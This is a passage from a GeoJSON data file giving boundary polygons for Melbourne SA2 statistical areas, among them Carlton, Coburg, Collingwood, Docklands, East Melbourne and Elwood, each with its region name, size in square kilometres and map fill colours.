9504242,-37.75737],[144.9503021,-37.7580872],[144.9501495,-37.7589302],[144.9500732,-37.7592773],[144.9503174,-37.7593079],[144.9501801,-37.7601585],[144.9500122,-37.7610474],[144.9497375,-37.7627602],[144.9494324,-37.7645683],[144.9494324,-37.7645874],[144.9494171,-37.7646675],[144.9494019,-37.7647896],[144.9493713,-37.7650604],[144.949295,-37.7654877],[144.9491425,-37.76651],[144.9490051,-37.7672882],[144.9489594,-37.7675972],[144.9488678,-37.7681198],[144.9488525,-37.7681999],[144.9487,-37.7690277],[144.9486389,-37.7693596],[144.9485321,-37.769989],[144.948761,-37.7700195],[144.9492798,-37.7700806],[144.9498444,-37.7701492],[144.9495544,-37.7716103],[144.9493256,-37.7728271],[144.9491425,-37.773838],[144.9489594,-37.7747002],[144.9488831,-37.7751579],[144.9487915,-37.7756882],[144.9494019,-37.7767296],[144.9478912,-37.7765503],[144.9470367,-37.7764473],[144.9451294,-37.7762184],[144.9430847,-37.7759705],[144.9427032,-37.7759285],[144.9421844,-37.7758598],[144.9407959,-37.7756882],[144.9405975,-37.7756691],[144.9398041,-37.7755775],[144.9391632,-37.7754974],[144.9387512,-37.7754402],[144.9386292,-37.7756195],[144.9386139,-37.7757072],[144.9385834,-37.7757874],[144.9385223,-37.7759972],[144.9384918,-37.7761192],[144.9384003,-37.7762108],[144.9383545,-37.7762794],[144.9383392,-37.77631],[144.9382935,-37.7763786],[144.9382324,-37.7764778],[144.9382019,-37.7765884],[144.9381256,-37.7767372],[144.9380188,-37.7768593],[144.937912,-37.7769699],[144.9378357,-37.7770386],[144.9377747,-37.7770996],[144.9376984,-37.7771606],[144.9376526,-37.7771797],[144.9377289,-37.7773476],[144.9378204,-37.7775803],[144.9379425,-37.7778893],[144.9373322,-37.7778091],[144.9370728,-37.7777672],[144.9368744,-37.7772102],[144.9368134,-37.7770996],[144.9367065,-37.7767181],[144.9366302,-37.7764702],[144.9365692,-37.7762108],[144.936554,-37.7760773],[144.9364929,-37.7757187],[144.9363556,-37.774498],[144.9363251,-37.774189],[144.9363251,-37.7741089],[144.9364166,-37.7738609],[144.9364777,-37.7737885],[144.9365387,-37.7737083],[144.9366302,-37.7736092],[144.9368286,-37.7734604],[144.9372711,-37.7731209],[144.9376373,-37.7728386],[144.9377441,-37.7727394],[144.9378967,-37.7725105],[144.9383392,-37.7718773],[144.9384155,-37.7717209],[144.9384308,-37.7715492],[144.9383545,-37.7713394],[144.9382782,-37.7712173],[144.9381409,-37.7711182],[144.9379425,-37.771019],[144.9377136,-37.7709808],[144.9372253,-37.7709885],[144.9371185,-37.7709885],[144.9368896,-37.7709999],[144.9359589,-37.7710075],[144.9356689,-37.7710304],[144.9355927,-37.771019],[144.9354401,-37.7709503],[144.935318,-37.7708588],[144.9352417,-37.7707405],[144.9352112,-37.7706108],[144.9353027,-37.7702904],[144.935318,-37.7701683],[144.9353485,-37.7700577],[144.9354401,-37.7698898],[144.9356232,-37.7697372],[144.9361267,-37.7694893],[144.9363556,-37.7694206],[144.9370422,-37.7691307],[144.9372559,-37.7690392],[144.9376373,-37.7688789],[144.9377899,-37.7687378],[144.937851,-37.7686272],[144.937851,-37.7686081],[144.9378815,-37.7684784],[144.9377136,-37.7676697],[144.9376831,-37.7675781],[144.9376984,-37.7674904],[144.9377289,-37.7669907],[144.9377441,-37.7669106],[144.9377441,-37.7668571],[144.9378662,-37.7666893],[144.937973,-37.7664986],[144.9380035,-37.7662888],[144.9380798,-37.7652092],[144.9380951,-37.7649307],[144.9381561,-37.7641182],[144.9382629,-37.7627983],[144.9384155,-37.7614098],[144.9384308,-37.761158],[144.9384308,-37.7611008],[144.9384003,-37.7609177],[144.9383087,-37.7608109],[144.9381866,-37.7607307],[144.9379425,-37.7606392],[144.9376678,-37.76054],[144.9372711,-37.7603989],[144.9366608,-37.7601891],[144.9364166,-37.7601395],[144.9357758,-37.7601204],[144.9355316,-37.760128],[144.9352875,-37.7602081],[144.9347839,-37.760498],[144.9347076,-37.7605286],[144.9345398,-37.7605782],[144.9343872,-37.7605896],[144.9342194,-37.7605476],[144.934082,-37.760479],[144.9339905,-37.7603798],[144.9339294,-37.7602692],[144.9338989,-37.7601509],[144.9339294,-37.7600174],[144.934021,-37.7598572],[144.9340515,-37.7598076],[144.9340668,-37.7596893]]]}},{"type":"Feature","properties":{"SA2_NAME":"Carlton","polygonId":48,"SA3_NAME":"Melbourne City","AREASQKM":1.8185,"fillColor":"#443A83","strokeColor":"#443A83","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9643097,-37.7984772],[144.9645996,-37.7968407],[144.9647217,-37.7961578],[144.9649658,-37.7945595],[144.9649506,-37.7943802],[144.9649506,-37.794239],[144.96492,-37.7940598],[144.9648895,-37.7939301],[144.9648285,-37.7937508],[144.9647675,-37.7936172],[144.9647064,-37.793499],[144.9646149,-37.7933388],[144.9644928,-37.7931709],[144.9644928,-37.7931595],[144.964386,-37.7930489],[144.9642334,-37.7928772],[144.9640808,-37.7927399],[144.9641113,-37.7927284],[144.9642334,-37.7928009],[144.9643707,-37.7928696],[144.9645081,-37.7929306],[144.9646454,-37.7929878],[144.964798,-37.7930374],[144.9649506,-37.7930794],[144.9651031,-37.7931175],[144.9651947,-37.7931404],[144.9652557,-37.7931595],[144.9654236,-37.7931786],[144.9655762,-37.7931976],[144.9657288,-37.7932091],[144.9658966,-37.7932205],[144.9660492,-37.7932205],[144.966217,-37.7932091],[144.966629,-37.7931786],[144.9667206,-37.7931595],[144.9668427,-37.7931404],[144.96698,-37.7931175],[144.9671021,-37.7930794],[144.9672089,-37.7930489],[144.9673004,-37.7930107],[144.9674225,-37.7929573],[144.9674988,-37.7929077],[144.9676208,-37.7928391],[144.9677277,-37.7927704],[144.967804,-37.7927208],[144.9678802,-37.7926598],[144.9679718,-37.7925682],[144.9680328,-37.7924995],[144.9681091,-37.792408],[144.9681549,-37.7923393],[144.9681702,-37.7923203],[144.9682159,-37.7922897],[144.9682617,-37.7922707],[144.9683228,-37.7922592],[144.9683838,-37.7922592],[144.9689026,-37.7923088],[144.9692383,-37.7923508],[144.9696808,-37.7924004],[144.9698639,-37.792408],[144.9713287,-37.7925682],[144.97258,-37.7927094],[144.9737244,-37.7928276],[144.9747467,-37.7929382],[144.975708,-37.7930374],[144.9756012,-37.7936592],[144.9756012,-37.7937202],[144.9755402,-37.7940292],[144.9754791,-37.7943497],[144.9754333,-37.7946701],[144.9753723,-37.7949791],[144.9753113,-37.7954178],[144.9752808,-37.7955589],[144.9751434,-37.79636],[144.9750671,-37.7967796],[144.9750061,-37.7971573],[144.9748688,-37.7979507],[144.9747467,-37.7986374],[144.9747467,-37.7986908],[144.9746094,-37.799469],[144.9745331,-37.7999573],[144.9744415,-37.800518],[144.974411,-37.8006706],[144.9743195,-37.8012199],[144.9740601,-37.8026886],[144.973999,-37.8031197],[144.9738312,-37.8041077],[144.9736023,-37.805378],[144.9735565,-37.8057289],[144.9733734,-37.8067589],[144.973175,-37.8079185],[144.9713593,-37.8077202],[144.971283,-37.8075485],[144.970932,-37.8075104],[144.9688416,-37.8072891],[144.9680328,-37.8071976],[144.9673309,-37.8071289],[144.9658508,-37.8069687],[144.9651031,-37.8068886],[144.9648743,-37.8068695],[144.9643707,-37.8068085],[144.9633636,-37.8066978],[144.9628906,-37.8066483],[144.9624481,-37.8065987],[144.9618378,-37.8065376],[144.9614105,-37.806488],[144.9608002,-37.8064308],[144.9599304,-37.8063278],[144.9595032,-37.8062897],[144.9584503,-37.8040276],[144.9580536,-37.8031273],[144.9578857,-37.8027687],[144.9574432,-37.8018074],[144.9573212,-37.801548],[144.9574432,-37.8005791],[144.95755,-37.7997093],[144.9588165,-37.7998581],[144.9598999,-37.7999802],[144.9610138,-37.8001099],[144.9624939,-37.8002586],[144.9639587,-37.8004189],[144.9642029,-37.7991104],[144.9642792,-37.7986298],[144.9643097,-37.7984772]]]}},{"type":"Feature","properties":{"SA2_NAME":"Carlton North - Princes Hill","polygonId":71,"SA3_NAME":"Yarra","AREASQKM":2.3042,"fillColor":"#443A83","strokeColor":"#443A83","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9593811,-37.7847176],[144.9595337,-37.7834778],[144.959671,-37.7824173],[144.9597473,-37.7817307],[144.9598999,-37.7805176],[144.9602203,-37.778038],[144.9614716,-37.7781906],[144.9616241,-37.7782097],[144.9624786,-37.7783089],[144.9633331,-37.7784195],[144.9639435,-37.7784882],[144.9651794,-37.7786407],[144.9659729,-37.7787399],[144.9672089,-37.7788773],[144.9677124,-37.7789383],[144.9676361,-37.7793083],[144.9680939,-37.7792282],[144.9689941,-37.7790985],[144.97052,-37.7792778],[144.971283,-37.7793808],[144.9727631,-37.7795486],[144.9733276,-37.7796173],[144.9734802,-37.7796402],[144.9746857,-37.779789],[144.9752502,-37.7798576],[144.9768982,-37.7800598],[144.9774017,-37.7801208],[144.9781036,-37.7801971],[144.9779358,-37.7810898],[144.9778748,-37.7814178],[144.9778595,-37.7814674],[144.9777374,-37.7821884],[144.9776459,-37.7826385],[144.9775696,-37.7830772],[144.9774628,-37.7837105],[144.9772034,-37.7851486],[144.9770355,-37.7859688],[144.9770203,-37.7860794],[144.9769287,-37.7865181],[144.9768829,-37.7868309],[144.9767303,-37.7876472],[144.9766388,-37.7880783],[144.9765015,-37.7887878],[144.9764099,-37.789299],[144.9763336,-37.7897072],[144.9762421,-37.7902298],[144.9759674,-37.7916489],[144.975769,-37.7927284],[144.9757385,-37.7929077],[144.975708,-37.7930374],[144.9747467,-37.7929382],[144.9737244,-37.7928276],[144.97258,-37.7927094],[144.9713287,-37.7925682],[144.9698639,-37.792408],[144.9696808,-37.7924004],[144.9692383,-37.7923508],[144.9689026,-37.7923088],[144.9683838,-37.7922592],[144.9683228,-37.7922592],[144.9682617,-37.7922707],[144.9682159,-37.7922897],[144.9681702,-37.7923203],[144.9681549,-37.7923393],[144.9681091,-37.792408],[144.9680328,-37.7924995],[144.9679718,-37.7925682],[144.9678802,-37.7926598],[144.967804,-37.7927208],[144.9677277,-37.7927704],[144.9676208,-37.7928391],[144.9674988,-37.7929077],[144.9674225,-37.7929573],[144.9673004,-37.7930107],[144.9672089,-37.7930489],[144.9671021,-37.7930794],[144.96698,-37.7931175],[144.9668427,-37.7931404],[144.9667206,-37.7931595],[144.966629,-37.7931786],[144.966217,-37.7932091],[144.9660492,-37.7932205],[144.9658966,-37.7932205],[144.9657288,-37.7932091],[144.9655762,-37.7931976],[144.9654236,-37.7931786],[144.9652557,-37.7931595],[144.9651947,-37.7931404],[144.9651031,-37.7931175],[144.9649506,-37.7930794],[144.964798,-37.7930374],[144.9646454,-37.7929878],[144.9645081,-37.7929306],[144.9643707,-37.7928696],[144.9642334,-37.7928009],[144.9641113,-37.7927284],[144.963974,-37.7926483],[144.9638824,-37.7925797],[144.9637451,-37.7924881],[144.963623,-37.7924004],[144.9634705,-37.7923279],[144.9633331,-37.7922478],[144.9633026,-37.7922401],[144.9628601,-37.7920685],[144.9625244,-37.7919884],[144.9620209,-37.7919083],[144.9616699,-37.7918892],[144.9615631,-37.7918892],[144.96138,-37.7918396],[144.9612274,-37.79179],[144.9610596,-37.791729],[144.960968,-37.7916794],[144.9607697,-37.7915878],[144.9606323,-37.7915077],[144.9604797,-37.79142],[144.9603119,-37.7912979],[144.9601898,-37.7911987],[144.960083,-37.7911072],[144.960022,-37.791069],[144.9599152,-37.7909584],[144.9597931,-37.7907982],[144.959671,-37.7906685],[144.9595642,-37.7905388],[144.9594727,-37.7903976],[144.9593811,-37.7902603],[144.9593201,-37.7901306],[144.9592743,-37.7900505],[144.9591675,-37.789978],[144.9590302,-37.7899208],[144.9588928,-37.7898903],[144.9587402,-37.7898674],[144.9588776,-37.7889481],[144.9590302,-37.7877007],[144.9590912,-37.7871284],[144.9592133,-37.7862206],[144.9592438,-37.7859383],[144.9593811,-37.7847176]]]}},{"type":"Feature","properties":{"SA2_NAME":"Coburg","polygonId":39,"SA3_NAME":"Brunswick - Coburg","AREASQKM":6.9346,"fillColor":"#404688","strokeColor":"#404688","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9484711,-37.7394981],[144.948761,-37.737648],[144.9490509,-37.7360001],[144.9491119,-37.7356186],[144.9493408,-37.73423],[144.9494629,-37.7334709],[144.949585,-37.7327805],[144.9495697,-37.7327003],[144.9494629,-37.7324982],[144.9500122,-37.7325478],[144.9512177,-37.7326698],[144.9514771,-37.7326889],[144.9524231,-37.7327805],[144.9532928,-37.7328606],[144.9541931,-37.7329483],[144.9550934,-37.7330284],[144.9553833,-37.7330589],[144.9559326,-37.7331085],[144.9565735,-37.7331696],[144.9568024,-37.7331886],[144.9576569,-37.7332687],[144.9580536,-37.7333107],[144.9585114,-37.7333488],[144.9593811,-37.733429],[144.9602356,-37.7335091],[144.9603424,-37.7335205],[144.9611359,-37.7335892],[144.9628601,-37.7337494],[144.9641724,-37.7338791],[144.9648438,-37.7339401],[144.9653473,-37.7339897],[144.9659882,-37.7340508],[144.9661102,-37.7340584],[144.9669189,-37.7341499],[144.9677429,-37.73423],[144.9678497,-37.7342682],[144.9681549,-37.7343788],[144.9698334,-37.7352295],[144.969986,-37.7352905],[144.9703522,-37.7353897],[144.9706421,-37.7354088],[144.9717102,-37.7354507],[144.9724426,-37.7354698],[144.9728851,-37.7354889],[144.9735413,-37.735508],[144.9746094,-37.7355385],[144.9751587,-37.7355576],[144.9759979,-37.7354698],[144.9768829,-37.7353401],[144.9774628,-37.7353973],[144.9776917,-37.7354202],[144.9801636,-37.7356682],[144.9812012,-37.7357788],[144.981369,-37.7357979],[144.9818726,-37.7358475],[144.9828949,-37.7359505],[144.9827881,-37.7361107],[144.982605,-37.7365189],[144.9824371,-37.7368774],[144.9819946,-37.7378387],[144.9816284,-37.7386703],[144.9813232,-37.7393608],[144.9810181,-37.7400208],[144.9797821,-37.7427483],[144.9789886,-37.7426682],[144.9789581,-37.7427292],[144.9789886,-37.7427902],[144.9789886,-37.7429504],[144.9790497,-37.7430801],[144.9792938,-37.7432175],[144.9795532,-37.7434502],[144.9797821,-37.743679],[144.980011,-37.7439384],[144.9803314,-37.7441902],[144.9805298,-37.7442589],[144.9812012,-37.7446289],[144.9815521,-37.7448502],[144.9819031,-37.7452087],[144.9820099,-37.7455101],[144.9820099,-37.7457504],[144.9819183,-37.7458992],[144.9817352,-37.7460403],[144.9815674,-37.7461205],[144.9813538,-37.7461891],[144.9810791,-37.7462082],[144.9807129,-37.7461891],[144.980484,-37.7461395],[144.9803009,-37.7461395],[144.9802094,-37.7461777],[144.9801483,-37.7462997],[144.9801636,-37.7463875],[144.9802094,-37.7464981],[144.9803619,-37.7465706],[144.9804535,-37.7466774],[144.9805603,-37.7468109],[144.9805756,-37.7469597],[144.9805298,-37.7474594],[144.980545,-37.7476082],[144.9806366,-37.7477303],[144.9810181,-37.7482872],[144.9811096,-37.7484398],[144.9812317,-37.7485275],[144.9812469,-37.7485809],[144.9812927,-37.7486191],[144.9813385,-37.7486992],[144.981369,-37.7487793],[144.981369,-37.7489586],[144.9812622,-37.7490807],[144.9807739,-37.7495003],[144.9806519,-37.74963],[144.9805908,-37.7497597],[144.9805908,-37.7498894],[144.9807129,-37.7501106],[144.9807434,-37.7501602],[144.9808197,-37.7502403],[144.980835,-37.7502708],[144.9809418,-37.7504387],[144.9811401,-37.7506104],[144.9812012,-37.7506981],[144.9812622,-37.7508087],[144.9812927,-37.7509499],[144.9813232,-37.7510376],[144.9815063,-37.7513504],[144.9816437,-37.7514877],[144.9817657,-37.7517509],[144.981781,-37.7518806],[144.9818115,-37.7520981],[144.981781,-37.7521896],[144.9815674,-37.7523804],[144.981369,-37.7524872],[144.9812622,-37.7525673],[144.9812164,-37.7525978],[144.9811401,-37.7526588],[144.9810791,-37.7526894],[144.9808197,-37.7526779],[144.9807739,-37.7526894],[144.9806213,-37.7528305],[144.9804993,-37.7529182],[144.9804535,-37.7529488],[144.9802246,-37.7530098],[144.9801178,-37.7530403],[144.97995,-37.7531586],[144.9797516,-37.7533493],[144.9794312,-37.7537575],[144.9793396,-37.7539101],[144.9792938,-37.7539978],[144.9792328,-37.7542191],[144.9792938,-37.7543678],[144.9795074,-37.7545509],[144.9795685,-37.7546196],[144.9796448,-37.7547073],[144.9796295,-37.7547684],[144.9795074,-37.7548676],[144.9794617,-37.7549706],[144.9794617,-37.7550087],[144.9794922,-37.7550697],[144.9795532,-37.7552109],[144.979599,-37.7553673],[144.9796906,-37.7556496],[144.9797821,-37.7562599],[144.9798737,-37.7564583],[144.9801636,-37.7572899],[144.9798431,-37.7572594],[144.9796906,-37.7572403],[144.9794922,-37.7572098],[144.9785004,-37.7570992],[144.977829,-37.757019],[144.9769745,-37.7569199],[144.9766083,-37.7568703],[144.9761047,-37.7568092],[144.9748535,-37.7566605],[144.9740295,-37.7565689],[144.9739227,-37.7565575],[144.9733124,-37.7564888],[144.9723206,-37.7563782],[144.9711304,-37.7562485],[144.9703979,-37.7561684],[144.9694061,-37.7560577],[144.9681091,-37.755909],[144.967514,-37.7558479],[144.9673615,-37.7558289],[144.9659882,-37.7556801],[144.9648132,-37.7555389],[144.9641113,-37.7554474],[144.9638824,-37.7554092],[144.9621735,-37.7551994],[144.961731,-37.7551498],[144.9615326,-37.7551308],[144.960083,-37.7549591],[144.9590607,-37.7548409],[144.9587097,-37.7547989],[144.9582214,-37.7547379],[144.9575195,-37.7546577],[144.9567413,-37.7545586],[144.9564514,-37.754528],[144.9557648,-37.7544479],[144.9548035,-37.7543373],[144.9539642,-37.7542381],[144.9538574,-37.7542305],[144.9533234,-37.754158],[144.9521637,-37.7540283],[144.9511261,-37.7539101],[144.9509888,-37.7538872],[144.9503937,-37.7538185],[144.9499207,-37.7537575],[144.9494781,-37.7537079],[144.9485779,-37.7536087],[144.9479523,-37.7535286],[144.9476318,-37.7534981],[144.9462433,-37.7533302],[144.9457397,-37.7532692],[144.9460754,-37.7514305],[144.9462433,-37.7505875],[144.9463806,-37.7496796],[144.946701,-37.7497177],[144.9469604,-37.7484474],[144.9472504,-37.7469101],[144.9472504,-37.7468681],[144.9470673,-37.7468491],[144.9465637,-37.7467804],[144.9468994,-37.7447701],[144.946991,-37.7443008],[144.9472046,-37.7430077],[144.9475098,-37.7412109],[144.9478302,-37.7394409],[144.9484711,-37.7394981]]]}},{"type":"Feature","properties":{"SA2_NAME":"Collingwood","polygonId":72,"SA3_NAME":"Yarra","AREASQKM":1.2671,"fillColor":"#3F4788","strokeColor":"#3F4788","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.983963,-37.8006897],[144.9840088,-37.8004303],[144.9841156,-37.7998276],[144.9842682,-37.7989502],[144.9843903,-37.7982483],[144.9843903,-37.7981606],[144.9845123,-37.7975502],[144.9845428,-37.7973595],[144.9846191,-37.7968788],[144.9846802,-37.7965698],[144.9847412,-37.7961807],[144.9847717,-37.7959709],[144.9848938,-37.7953377],[144.9850922,-37.7941589],[144.9852142,-37.794178],[144.9857178,-37.7942276],[144.9860687,-37.7942581],[144.9869232,-37.7943573],[144.9874725,-37.7944107],[144.9876862,-37.7944298],[144.9877472,-37.7944374],[144.9880066,-37.7944679],[144.9880219,-37.7944794],[144.9882507,-37.7944984],[144.9886322,-37.794529],[144.9889832,-37.7945709],[144.98909,-37.7945786],[144.9897919,-37.7946472],[144.9898834,-37.7946701],[144.9898834,-37.7946777],[144.9899292,-37.7946892],[144.9900208,-37.7947006],[144.9901276,-37.7946892],[144.9902802,-37.7947197],[144.9904633,-37.7947693],[144.9906616,-37.794838],[144.9909821,-37.7949677],[144.9914246,-37.7951584],[144.9916077,-37.7952309],[144.991806,-37.7952881],[144.9919891,-37.7953377],[144.9922028,-37.7953873],[144.992981,-37.7955284],[144.9931641,-37.795578],[144.9933319,-37.7956696],[144.9934845,-37.7958183],[144.9936066,-37.7959709],[144.9935913,-37.7960472],[144.9934235,-37.7970581],[144.9933014,-37.79776],[144.9932404,-37.7981071],[144.9931946,-37.7984505],[144.9930878,-37.7991409],[144.992981,-37.799839],[144.9929352,-37.8000679],[144.9928589,-37.8005409],[144.9928284,-37.8007202],[144.9927521,-37.8011894],[144.992691,-37.8015175],[144.9926758,-37.801609],[144.9926453,-37.8018379],[144.9925232,-37.8024902],[144.9924927,-37.8026772],[144.9923706,-37.8034973],[144.9921265,-37.8049889],[144.9917603,-37.8071594],[144.9916992,-37.807518],[144.9915924,-37.8081589],[144.9915161,-37.8086395],[144.9914093,-37.8093605],[144.9913483,-37.8097305],[144.9904175,-37.8097305],[144.9902039,-37.8097305],[144.9894257,-37.8096504],[144.9889984,-37.8096008],[144.9885254,-37.8095474],[144.9879608,-37.8094902],[144.9876099,-37.8094597],[144.9869995,-37.8093872],[144.9863892,-37.80933],[144.985611,-37.8092384],[144.9852905,-37.8092079],[144.9847412,-37.8091507],[144.9846039,-37.8091393],[144.9837799,-37.8090477],[144.9833069,-37.8089981],[144.9825439,-37.808918],[144.9827423,-37.8078308],[144.9829102,-37.8067703],[144.9829865,-37.8063698],[144.9832306,-37.8049698],[144.9833679,-37.8041382],[144.98349,-37.8034477],[144.9835205,-37.8032684],[144.9835968,-37.8027992],[144.9837036,-37.8021774],[144.9837341,-37.8020096],[144.9837799,-37.8017502],[144.9838715,-37.8012199],[144.983963,-37.8006897]]]}},{"type":"Feature","properties":{"SA2_NAME":"Docklands","polygonId":49,"SA3_NAME":"Melbourne City","AREASQKM":2.444,"fillColor":"#39568C","strokeColor":"#39568C","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.932373,-37.8192673],[144.9328613,-37.8180199],[144.9334259,-37.8164673],[144.9337311,-37.8155098],[144.9338379,-37.8151398],[144.9339447,-37.8146973],[144.934021,-37.8143578],[144.934082,-37.8138885],[144.9341278,-37.8137093],[144.9342499,-37.8129005],[144.934433,-37.8126678],[144.9346924,-37.8119087],[144.9346619,-37.8105278],[144.9346924,-37.8103104],[144.9347229,-37.8101501],[144.9350128,-37.8094482],[144.9354248,-37.8095093],[144.9359589,-37.8095703],[144.9367828,-37.8097191],[144.9372253,-37.8098373],[144.937912,-37.8100471],[144.9385071,-37.8102684],[144.9391022,-37.8105087],[144.940094,-37.8109703],[144.9408112,-37.8113289],[144.9413605,-37.8115997],[144.9420166,-37.8119507],[144.9428711,-37.8124504],[144.9430237,-37.8125],[144.9431763,-37.8125381],[144.9433289,-37.8125381],[144.943512,-37.8125191],[144.9437103,-37.812458],[144.9447021,-37.8120689],[144.944931,-37.8120499],[144.9450836,-37.8120575],[144.9452362,-37.812088],[144.9454346,-37.8118591],[144.9460144,-37.8116379],[144.9478149,-37.8109474],[144.9481049,-37.8115273],[144.9482422,-37.8116493],[144.9492798,-37.8125572],[144.9503174,-37.8134689],[144.9514313,-37.8131599],[144.9516296,-37.8136177],[144.9517975,-37.8139687],[144.951889,-37.8141479],[144.9523315,-37.8151283],[144.9527893,-37.8161087],[144.9532318,-37.8170891],[144.9536896,-37.8180809],[144.9539032,-37.8185501],[144.9541321,-37.8190575],[144.9543915,-37.8195992],[144.9546204,-37.8200874],[144.9550629,-37.8210907],[144.9551392,-37.8212585],[144.9553528,-37.8216896],[144.955719,-37.8225098],[144.9559784,-37.8230476],[144.9552612,-37.8233376],[144.9543915,-37.8235474],[144.9533234,-37.8237],[144.9521942,-37.823719],[144.9498138,-37.8235283],[144.9491882,-37.8234596],[144.948349,-37.8233681],[144.9479218,-37.8233795],[144.9479218,-37.8237572],[144.9480286,-37.8241997],[144.9480591,-37.8243103],[144.9480896,-37.8244476],[144.9481201,-37.8245583],[144.9480896,-37.824749],[144.9479675,-37.8252296],[144.9478607,-37.8252296],[144.9477234,-37.8252487],[144.9475555,-37.8252907],[144.9473419,-37.8252983],[144.9472504,-37.8252983],[144.946991,-37.8252907],[144.9462128,-37.8252373],[144.9459991,-37.8252296],[144.9451904,-37.8251381],[144.944458,-37.8250694],[144.9437408,-37.8249893],[144.9436798,-37.8249779],[144.9436035,-37.8249702],[144.9435425,-37.8249474],[144.9434814,-37.8249207],[144.9434204,-37.8248978],[144.9433594,-37.8248596],[144.9433136,-37.8248291],[144.9430389,-37.8246307],[144.9430237,-37.8246078],[144.942627,-37.8243179],[144.9423523,-37.8241005],[144.9420013,-37.8239708],[144.940506,-37.823658],[144.9398651,-37.8235207],[144.937851,-37.8230896],[144.9371338,-37.8229408],[144.9367828,-37.8228989],[144.9364929,-37.8228378],[144.9327087,-37.8220482],[144.9314728,-37.8217888],[144.9318237,-37.8208275],[144.931839,-37.8207283],[144.9321594,-37.8198586],[144.932373,-37.8192673]]]}},{"type":"Feature","properties":{"SA2_NAME":"East Melbourne","polygonId":50,"SA3_NAME":"Melbourne City","AREASQKM":2.8998,"fillColor":"#365C8D","strokeColor":"#365C8D","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9739532,-37.8133087],[144.9736176,-37.8125992],[144.9734802,-37.8123283],[144.9730377,-37.811348],[144.9727325,-37.8106804],[144.97258,-37.8103676],[144.9724731,-37.8101082],[144.9723816,-37.8099174],[144.9721375,-37.8093987],[144.9716644,-37.8083992],[144.9713593,-37.8077202],[144.973175,-37.8079185],[144.9740295,-37.8080101],[144.9747162,-37.8080788],[144.9756927,-37.8081779],[144.9758606,-37.8082008],[144.9761963,-37.808239],[144.9767761,-37.8083],[144.97789,-37.8084183],[144.9785614,-37.8084908],[144.9790039,-37.8085403],[144.9801636,-37.8086586],[144.9811401,-37.8087692],[144.9813538,-37.8087883],[144.9820404,-37.8088608],[144.9825439,-37.808918],[144.9833069,-37.8089981],[144.9837799,-37.8090477],[144.9846039,-37.8091393],[144.9847412,-37.8091507],[144.9852905,-37.8092079],[144.985611,-37.8092384],[144.9863892,-37.80933],[144.9869995,-37.8093872],[144.9876099,-37.8094597],[144.9879608,-37.8094902],[144.9885254,-37.8095474],[144.9889984,-37.8096008],[144.9894257,-37.8096504],[144.9902039,-37.8097305],[144.9904175,-37.8097305],[144.9913483,-37.8097305],[144.9911804,-37.8106194],[144.9911194,-37.8109398],[144.9910736,-37.8112488],[144.9909363,-37.8120193],[144.9909363,-37.8120308],[144.99086,-37.8124199],[144.9907837,-37.81287],[144.9906616,-37.813549],[144.9906311,-37.8137703],[144.9904785,-37.8146782],[144.990448,-37.8148079],[144.9902802,-37.8157883],[144.9902039,-37.8162575],[144.9900818,-37.8168678],[144.9900665,-37.8169594],[144.9900208,-37.8172798],[144.9900055,-37.8175507],[144.9899902,-37.817688],[144.9899597,-37.8178902],[144.9898834,-37.818409],[144.9897614,-37.8190575],[144.9897156,-37.8193398],[144.9897156,-37.8193779],[144.9896851,-37.8195572],[144.989563,-37.8202782],[144.9893341,-37.8216476],[144.9891357,-37.8227997],[144.98909,-37.8231087],[144.9890289,-37.8233986],[144.9889374,-37.8240395],[144.9888306,-37.8246193],[144.9887238,-37.8252373],[144.9886932,-37.8252983],[144.9884491,-37.8267899],[144.9883423,-37.8273697],[144.988327,-37.8274994],[144.9882355,-37.8279572],[144.9881287,-37.8285484],[144.9880524,-37.8289375],[144.9879913,-37.829258],[144.987915,-37.8296204],[144.987915,-37.82967],[144.9870911,-37.8288574],[144.986496,-37.8283081],[144.9857635,-37.8278809],[144.9850311,-37.8276787],[144.9849243,-37.8276482],[144.9839325,-37.8274689],[144.9825134,-37.8272285],[144.9811249,-37.8267975],[144.9800568,-37.8260994],[144.9793243,-37.8255081],[144.9784393,-37.8244781],[144.9774017,-37.823288],[144.9766388,-37.8231888],[144.976059,-37.8225975],[144.9746399,-37.8208885],[144.9730988,-37.8198204],[144.9716187,-37.8194084],[144.9702301,-37.8195076],[144.9684296,-37.8196182],[144.968338,-37.8194199],[144.9682922,-37.8193283],[144.9682465,-37.8192177],[144.9674225,-37.8174477],[144.9693146,-37.8168983],[144.9698944,-37.8167305],[144.9703369,-37.8166084],[144.9723816,-37.8159981],[144.9736328,-37.8156281],[144.9747314,-37.8153076],[144.9748535,-37.8152809],[144.9746399,-37.8148308],[144.9745483,-37.8146172],[144.9744415,-37.8143692],[144.9743958,-37.8143005],[144.9740906,-37.8136406],[144.9739532,-37.8133087]]]}},{"type":"Feature","properties":{"SA2_NAME":"Elwood","polygonId":60,"SA3_NAME":"Port Phillip","AREASQKM":2.553,"fillColor":"#355F8D","strokeColor":"#355F8D","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9773254,-37.8788795],[144.9773102,-37.8786774],[144.9756622,-37.878788],[144.9755707,-37.8787308],[144.9754944,-37.8786392],[144.9754639,-37.8785286],[144.9754028,-37.8783798],[144.9753571,-37.8782387],[144.9752808,-37.8780899],[144.9752197,-37.8779907],[144.975174,-37.8778305],[144.9750824,-37.8776703],[144.9749908,-37.8775406],[144.9749298,-37.8773804],[144.9748383,-37.8772278],[144.974762,-37.8770676],[144.9746704,-37.8769073],[144.9746094,-37.8767395],[144.9745636,-37.8765678],[144.9745331,-37.8764],[144.9745026,-37.8762703],[144.9768677,-37.8753395],[144.9775543,-37.8750687],[144.9779663,-37.8749084],[144.9798737,-37.8741684],[144.981369,-37.8735886],[144.9824219,-37.8731689],[144.9830627,-37.8729286],[144.983551,-37.8727379],[144.9836884,-37.8726883],[144.9843292,-37.8724403],[144.9848328,-37.8722496],[144.9859619,-37.8718185],[144.9867401,-37.8715172],[144.9873199,-37.8712997],[144.9873657,-37.8712807],[144.9879913,-37.8710403],[144.988678,-37.8707809],[144.9887695,-37.870739],[144.9894409,-37.871788],[144.9896393,-37.8721199],[144.9898529,-37.8724594],[144.9900513,-37.8727798],[144.990509,-37.8735199],[144.9907227,-37.8738289],[144.9908752,-37.8740807],[144.9911499,-37.8745193],[144.991272,-37.8747177],[144.9915771,-37.8752098]